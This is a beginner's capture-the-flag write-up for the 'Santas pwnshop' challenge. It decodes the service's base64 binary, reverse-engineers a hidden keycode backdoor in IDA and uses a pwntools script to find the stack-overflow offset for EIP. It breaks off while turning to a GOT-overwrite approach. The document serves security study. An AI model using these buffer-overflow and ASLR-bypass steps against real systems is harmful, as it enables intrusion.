# Day 5 Challenge - Santas pwnshop - Pwn (300)Santa is giving out an early XMAS-gift to all the good little hackers. Theres a secret backdoor to the PWNSHOP but its protected by a very paranoid lock that automatically changes keycodes often. If we could hackthat, we could grab as many XMAS-gifts as we wanted!
Solves: 69  Service: nc 18.205.93.120 1205  Download: T2CytbnZ9lShvuOBkDkpqLB6tjPDCvfa-pwnshop.tar.gz  Author: likvidera    Please note that i'm a beginner:- so some of the information below might be innacurate or useless.- It was also my first time using IDA so excuse the verbosity... (I need it for myself for future reference ;-)- my ASM is pretty bad- i never used pwntools before This is just what happened to me when i solved this challenge.  ## Initial Discovery
we're given a network service and an archive containing a libc.so file.
```% nc 18.205.93.120 1205[cool santa ascii]
SANTAS PWNSHOP 1) Ask Santa for your XMAS gift 2) Leave the Northpole > ```
if we enter 2, we quit, if we enter 1, we get a base64 encoded payload.  If we wait 15 or so seconds, we get a timeout message
```SANTAS PWNSHOP 1) Ask Santa for your XMAS gift 2) Leave the Northpole >1
Santa hands you your XMAS gift: (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)```
requesting the gift multiple times within the same session always return the same data, but making a new connection will return a different payload.
```% base64 -d payload > gift.gz% file gift.gz gift.gz: gzip compressed data, last modified: Fri Dec 28 06:34:36 2018, from Unix% gunzip gift.gz % file giftgift: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=fe0148757af1ae90bdbf119ed5044b87276c05a4, not stripped
% ldd gift        linux-gate.so.1 (0xf77d5000)        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf75ea000)        /lib/ld-linux.so.2 (0xf77d7000)```
at this point you want to make sure to use the provided libc6 to avoid scratching your head like i did at some point
```% ln -s libc.so libc.so.6% export LD_LIBRARY_PATH=$(pwd)  % ldd gift        linux-gate.so.1 (0xf7752000)        libc.so.6 => /home/m/day5/libc.so.6 (0xf7574000)        /lib/ld-linux.so.2 (0xf7754000)
```
running the binary shows that we have a copy of what's running as a network service
```% chmod +x gift% ./gift [cool santa ascii] SANTAS PWNSHOP 1) Ask Santa for your XMAS gift 2) Leave the Northpole >  ```
## Analizing the binary
a quick look in the strings reveals something interesting:
```% strings gift | grep PWNSHOPAha! You found Santas secret backdoor to the PWNSHOP ... hope you know the keycodesSANTAS PWNSHOP```
so let's try to find it...  i used the free version of IDA here.  
Open the binary in IDA, press shift+F12 to display the strings, then CTRL+F to find "Secret"  Select it and press ENTER to go back to the code window  
```x86asm.rodata:0804AC9C aAhaYouFoundSan db 0Ah                  ; DATA XREF: pwnshop_backdoor+15↑o.rodata:0804AC9C                 db 'Aha! You found Santas secret backdoor to the PWNSHOP ... hope you'.rodata:0804AC9C                 db ' know the keycodes',0
```
double click the DATA XREF to follow it, you end up in the "pwnshop_backdoor" proc (press SPACE to toggle between code and graph view)
```x86asm.text:0804875C                 public pwnshop_backdoor.text:0804875C pwnshop_backdoor proc near              ; CODE XREF: menu:loc_804892D↓p.text:0804875C.text:0804875C var_C           = dword ptr -0Ch.text:0804875C var_4           = dword ptr -4.text:0804875C.text:0804875C                 push    ebp.text:0804875D                 mov     ebp, esp.text:0804875F                 push    ebx.text:08048760                 sub     esp, 14h.text:08048763                 call    __x86_get_pc_thunk_bx.text:08048768                 add     ebx, 4898h.text:0804876E                 sub     esp, 0Ch.text:08048771                 lea     eax, (aAhaYouFoundSan - 804D000h)[ebx] ; "\nAha! You found Santas secret backdoor"....text:08048777                 push    eax.text:08048778                 call    _puts.text:0804877D                 add     esp, 10h.text:08048780                 mov     [ebp+var_C], 0.text:08048787                 jmp     short loc_80487B3```
following the "CODE XREF", shows that this function is called by the "menu" function.   (interesting part of the menu function)
```x86asm.text:080488F9 loc_80488F9:                            ; CODE XREF: menu:loc_8048933↓j.text:080488F9                 call    print_menu.text:080488FE                 call    get_int              ;read an integer into EAX.text:08048903                 mov     [ebp+var_C], eax.text:08048906                 mov     eax, [ebp+var_C].text:08048909                 cmp     eax, 2               ; if EAX == 2.text:0804890C                 jz      short loc_8048923    ;   exit();.text:0804890E                 cmp     eax, 29Ah            ; if EAX == 666.text:08048913                 jz      short loc_804892D    ;   pwnshop_backdoor().text:08048915                 cmp     eax, 1               ; if EAX == 1.text:08048918                 jz      short loc_804891C    ;   pwn(); // show the base64 payload.text:0804891A                 jmp     short loc_8048933.text:0804891C ; ---------------------------------------------------------------------------.text:0804891C.text:0804891C loc_804891C:                            ; CODE XREF: menu+38↑j.text:0804891C                 call    pwn.text:08048921                 jmp     short loc_8048933.text:08048923 ; ---------------------------------------------------------------------------.text:08048923.text:08048923 loc_8048923:                            ; CODE XREF: menu+2C↑j.text:08048923                 sub     esp, 0Ch.text:08048926                 push    0.text:08048928                 call    _exit.text:0804892D.text:0804892D loc_804892D:                            ; CODE XREF: menu+33↑j.text:0804892D                 call    pwnshop_backdoor.text:08048932                 nop```
seems there's an "hidden" menu entry we can trigger by typing 666.  You need to enter 16 codes:  
```SANTAS PWNSHOP 1) Ask Santa for your XMAS gift 2) Leave the Northpole > 666 
Aha! You found Santas secret backdoor to the PWNSHOP ... hope you know the keycodesEnter keycode 0: 1Enter keycode 1: 2Enter keycode 2: 3Enter keycode 3: 5Enter keycode 4: 6Enter keycode 5: 2Enter keycode 6: 4Enter keycode 7: 3Enter keycode 8: 4Enter keycode 9: 2Enter keycode 10: 5Enter keycode 11: 3Enter keycode 12: 2Enter keycode 13: 1Enter keycode 14: 3Enter keycode 15: 4[ACCESS DENIED] - Releasing the furious Reindeers```
## Figuring the 16 codes
let's look at the code of the pwnshop_backdoor func.   The first part reads 16 integers
```x86asm.text:08048771                 lea     eax, (aAhaYouFoundSan - 804D000h)[ebx] ; "\nAha! You found Santas secret backdoor"....text:08048777                 push    eax.text:08048778                 call    _puts.text:0804877D                 add     esp, 10h.text:08048780                 mov     [ebp+var_C], 0.text:08048787                 jmp     short loc_80487B3.text:08048789 ; ---------------------------------------------------------------------------.text:08048789.text:08048789 loc_8048789:                            ; CODE XREF: pwnshop_backdoor+5B↓j.text:08048789                 sub     esp, 8.text:0804878C                 push    [ebp+var_C].text:0804878F                 lea     eax, (aEnterKeycodeD - 804D000h)[ebx] ; "Enter keycode %d: ".text:08048795                 push    eax.text:08048796                 call    _printf.text:0804879B                 add     esp, 10h.text:0804879E                 call    get_int.text:080487A3                 mov     edx, eax.text:080487A5                 mov     eax, [ebp+var_C].text:080487A8                 mov     ds:(keycode - 804D000h)[ebx+eax*4], edx.text:080487AF                 add     [ebp+var_C], 1.text:080487B3.text:080487B3 loc_80487B3:                            ; CODE XREF: pwnshop_backdoor+2B↑j.text:080487B3                 cmp     [ebp+var_C], 0Fh.text:080487B7                 jle     short loc_8048789```
which translates to something like:
```pythonprint "\nAha! You found Santas secret backdoor"keycode = range(0x0F + 1)x = 0while x <= 0x0F:	keycode[x] = int(raw_input("Enter keycode %d:"%x))	x += 1```
The 2nd part checks them:
```x86asm.text:080487B9                 mov     eax, ds:(keycode - 804D000h)[ebx].text:080487BF                 cmp     eax, 61F55Ch.text:080487C4                 jnz     loc_80488BF.text:080487CA                 mov     eax, ds:(dword_804D0E4 - 804D000h)[ebx].text:080487D0                 cmp     eax, 6B8D03h.text:080487D5                 jnz     loc_80488BF.text:080487DB                 mov     eax, ds:(dword_804D0E8 - 804D000h)[ebx].text:080487E1                 test    eax, eax.text:080487E3                 jz      loc_80488BF.text:080487E9                 mov     eax, ds:(dword_804D0EC - 804D000h)[ebx].text:080487EF                 cmp     eax, 5B46F3h.text:080487F4                 jnz     loc_80488BF.text:080487FA                 mov     eax, ds:(dword_804D0F0 - 804D000h)[ebx].text:08048800                 cmp     eax, 1B9B58h.text:08048805                 jnz     loc_80488BF.text:0804880B                 mov     eax, ds:(dword_804D0F4 - 804D000h)[ebx].text:08048811                 cmp     eax, 3B61AEh.text:08048816                 jnz     loc_80488BF.text:0804881C                 mov     eax, ds:(dword_804D0F8 - 804D000h)[ebx].text:08048822                 test    eax, eax.text:08048824                 jz      loc_80488BF.text:0804882A                 mov     eax, ds:(dword_804D0FC - 804D000h)[ebx].text:08048830                 cmp     eax, 2AD82Ah.text:08048835                 jnz     loc_80488BF.text:0804883B                 mov     eax, ds:(dword_804D100 - 804D000h)[ebx].text:08048841                 cmp     eax, 4114F0h.text:08048846                 jnz     short loc_80488BF.text:08048848                 mov     eax, ds:(dword_804D104 - 804D000h)[ebx].text:0804884E                 cmp     eax, 44DAA2h.text:08048853                 jnz     short loc_80488BF.text:08048855                 mov     eax, ds:(dword_804D108 - 804D000h)[ebx].text:0804885B                 test    eax, eax.text:0804885D                 jz      short loc_80488BF.text:0804885F                 mov     eax, ds:(dword_804D10C - 804D000h)[ebx].text:08048865                 cmp     eax, 4D3AB4h.text:0804886A                 jnz     short loc_80488BF.text:0804886C                 mov     eax, ds:(dword_804D110 - 804D000h)[ebx].text:08048872                 cmp     eax, 13E299h.text:08048877                 jnz     short loc_80488BF.text:08048879                 mov     eax, ds:(dword_804D114 - 804D000h)[ebx].text:0804887F                 cmp     eax, 743619h.text:08048884                 jnz     short loc_80488BF.text:08048886                 mov     eax, ds:(dword_804D118 - 804D000h)[ebx].text:0804888C                 test    eax, eax.text:0804888E                 jz      short loc_80488BF.text:08048890                 mov     eax, ds:(dword_804D11C - 804D000h)[ebx].text:08048896                 cmp     eax, 5CD94Ah.text:0804889B                 jnz     short loc_80488BF.text:0804889D                 mov     edx, ds:(keycode - 804D000h)[ebx].text:080488A3                 mov     eax, ds:(dword_804D11C - 804D000h)[ebx].text:080488A9                 cmp     eax, 25FCFCh.text:080488AE                 setz    al.text:080488B1                 movzx   eax, al.text:080488B4                 cmp     edx, eax.text:080488B6                 jz      short loc_80488BF.text:080488B8                 call    win.text:080488BD                 jmp     short loc_80488DB.text:080488BF ; ---------------------------------------------------------------------------.text:080488BF.text:080488BF loc_80488BF:                            ; CODE XREF: pwnshop_backdoor+68↑j.text:080488BF                                         ; pwnshop_backdoor+79↑j ....text:080488BF                 sub     esp, 0Ch.text:080488C2                 lea     eax, (a031maccessDeni - 804D000h)[ebx] ; "[\x1B[0;31mACCESS DENIED\x1B[0m] - Rele"....text:080488C8                 push    eax.text:080488C9                 call    _puts.text:080488CE                 add     esp, 10h.text:080488D1                 sub     esp, 0Ch.text:080488D4                 push    0.text:080488D6                 call    _exit```
it's basically checking each input values against some hardcoded constants.  There's 2 kind of checks:
```.text:08048865                 cmp     eax, 4D3AB4h.text:0804886A                 jnz     short loc_80488BF```
which jumps to loc_80488BF (access denied) if the value of EAX is not 0x4D3AB4  and
```.text:0804888C                 test    eax, eax.text:0804888E                 jz      short loc_80488BF```which jumps to access denied if EAX is 0 (so it needs to be anything except 0)    following can be translated to pseudocode like:
```pythonif keycode[0] != 0x61F55C:		# 6419804	goto deniedif keycode[1] != 0x6B8D03:		# 7048451	goto deniedif keycode[2] == 0:	goto deniedif keycode[3] != 0x5B46F3:		# 5981939	goto deniedif keycode[4] != 0x1B9B58:		# 1809240	goto deniedif keycode[5] != 0x3B61AE:		# 3891630	goto deniedif keycode[6] == 0:	goto deniedif keycode[7] != 0x2AD82A:		# 2807850	goto deniedif keycode[8] != 0x4114F0:		# 4265200	goto deniedif keycode[9] != 0x44DAA2:		# 4512418	goto deniedif keycode[10] == 0:	goto deniedif keycode[11] != 0x4D3AB4:		# 5061300	goto deniedif keycode[12] != 0x13E299:		# 1303193	goto deniedif keycode[13] != 0x743619:		# 7616025	goto deniedif keycode[14] == 0:	goto deniedif keycode[15] != 0x5CD94A:		# 6084938	goto denied
win()
denied:	print("Access denied")```
let's try it:
```SANTAS PWNSHOP 1) Ask Santa for your XMAS gift 2) Leave the Northpole > 666
Aha! You found Santas secret backdoor to the PWNSHOP ... hope you know the keycodesEnter keycode 0: 6419804Enter keycode 1: 7048451Enter keycode 2: 1Enter keycode 3: 5981939Enter keycode 4: 1809240Enter keycode 5: 3891630Enter keycode 6: 1Enter keycode 7: 2807850Enter keycode 8: 4265200Enter keycode 9: 4512418Enter keycode 10: 1Enter keycode 11: 5061300Enter keycode 12: 1303193Enter keycode 13: 7616025Enter keycode 14: 1Enter keycode 15: 6084938[ACCESS GRANTED][XMAS SECURITY PROTOCOL ACTIVATED] - Enter new keycode: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAzsh: segmentation fault  ./gift
```
the win() function just prints the message and reads some data from stdin into a buffer of i-dont-know-how-many bytes (because my assembly is bad), but which is apprently subject to a buffer overflow...
```x86asm.text:0804871F                 lea     eax, (a032maccessGran - 804D000h)[ebx] ; "[\x1B[0;32mACCESS GRANTED\x1B[0m]".text:08048725                 push    eax.text:08048726                 call    _puts.text:0804872B                 add     esp, 10h.text:0804872E                 sub     esp, 0Ch.text:08048731                 lea     eax, (a032mxmasSecuri - 804D000h)[ebx] ; "[\x1B[0;32mXMAS SECURITY PROTOCOL ACTIV"....text:08048737                 push    eax.text:08048738                 call    _printf.text:0804873D                 add     esp, 10h.text:08048740                 sub     esp, 4.text:08048743                 push    320h.text:08048748                 lea     eax, [ebp+var_C].text:0804874B                 push    eax.text:0804874C                 push    0.text:0804874E                 call    _read			; <- here.text:08048753                 add     esp, 10h.text:08048756                 nop.text:08048757                 mov     ebx, [ebp+var_4].text:0804875A                 leave```
## Exploiting the win function (Part 1)
we can use the following piece of code to find how many bytes we need to overwrite EIP [exploit_v1.py](exploit_v1.py):
```python% cat exploit_v1.py#!/usr/bin/python
from pwn import *
keycodes = [6419804, 7048451, 1, 5981939, 1809240, 3891630, 1, 2807850, 4265200, 4512418, 1, 5061300, 1303193, 7616025, 1, 6084938]
elf = context.binary = ELF("./gift")#context.log_level = 'debug'
io = process(elf.path)io.recvuntil(" > ")io.sendline("666")
for x in range(16):    io.recvuntil("Enter keycode %d: "%x)    io.sendline(str(keycodes[x]))
print io.recv(4096)
io.sendline(cyclic(128))io.wait()
core = io.corefile
####eip = core.eipinfo("eip = %#x", eip)
offset = cyclic_find(eip)info("offset = %d", offset)```
```% ./exploit_v1.py [*] '/home/matth/security/writeups/aotw2018ctf-writeups/day5/gift'    Arch:     i386-32-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      No PIE (0x8048000)[+] Starting local process '/home/matth/security/writeups/aotw2018ctf-writeups/day5/gift': pid 9644[ACCESS GRANTED][XMAS SECURITY PROTOCOL ACTIVATED] - Enter new keycode: [*] Process '/home/matth/security/writeups/aotw2018ctf-writeups/day5/gift' stopped with exit code -11 (SIGSEGV) (pid 9644)[+] Parsing corefile...: Done[*] '/home/matth/security/writeups/aotw2018ctf-writeups/day5/core.9644'    Arch:      i386-32-little    EIP:       0x61616165    ESP:       0xffb8f850    Exe:       '/home/matth/security/writeups/aotw2018ctf-writeups/day5/gift' (0x8048000)    Fault:     0x61616165[*] eip = 0x61616165[*] offset = 16```
se we need to 16 bytes of data before we can overwrite EIP.  also we see in the process that NX is activated, so cannot just push some code into the stack...    The libc is provided, so i first thought about some ret2libc, which worked locally only if i disabled ASLR```% echo 0 | sudo tee /proc/sys/kernel/randomize_va_space```
since it's remote, i decided not to waste time on this and enabled it again:
```% echo 2 | sudo tee /proc/sys/kernel/randomize_va_space```
i spent some time reading [https://sploitfun.wordpress.com/2015/05/08/bypassing-aslr-part-iii/] and got convinced i needed to overwrite the GOT entry.   - PLT stands for Procedure Linkage Table which is, put simply, used to call external procedures/functions whose address isn't known in the time of linking, and is left to be resolved by the dynamic linker at run time.  - GOT stands for Global Offsets Table and is similarly used to resolve addresses.   [https://reverseengineering.stackexchange.com/questions/1992/what-is-plt-got](https://reverseengineering.stackexchange.com/questions/1992/what-is-plt-got)  [https://systemoverlord.com/2017/03/19/got-and-plt-for-pwning.html](https://systemoverlord.com/2017/03/19/got-and-plt-for-pwning.html)
```% readelf -s gift 
